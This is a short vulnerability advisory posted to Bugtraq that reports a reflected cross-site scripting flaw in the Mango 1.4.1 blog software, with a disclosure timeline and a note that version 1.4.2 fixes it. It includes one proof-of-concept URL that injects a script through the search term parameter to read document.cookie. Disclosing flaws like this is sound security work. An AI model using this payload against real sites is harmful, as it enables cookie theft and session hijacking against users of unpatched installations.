Mango 1.4.1 Cross Site Scripting

`Hello Bugtraq!  
  
I want to warn you about security vulnerability in Mango.  
  
-----------------------------  
Advisory: Cross-Site Scripting vulnerability in Mango  
-----------------------------  
URL: http://websecurity.com.ua/3949/  
-----------------------------  
Affected product: Mango 1.4.1 and previous versions.  
-----------------------------  
Timeline:  
  
05.07.2009 - found vulnerability.  
02.02.2010 - developers released Mango 1.4.2 (as I found at 15.02.2010).  
13.02.2010 - announced at my site.  
15.02.2010 - informed developers. It's one example, when my approach to  
announce and disclose vulnerabilities in chronological order leads to that  
situation, when I announced vulnerability (which I found earlier) and found  
that developers already fixed it. But it's still rare case.  
30.04.2010 - disclosed at my site.  
-----------------------------  
Details:  
  
This is Cross-Site Scripting vulnerability.  
  
XSS:  
  
http://site/archives.cfm/search/?term=%3Cbody%20onload=alert(document.cookie)%3E  
  
Best wishes & regards,  
MustLive  
Administrator of Websecurity web site  
http://websecurity.com.ua  
`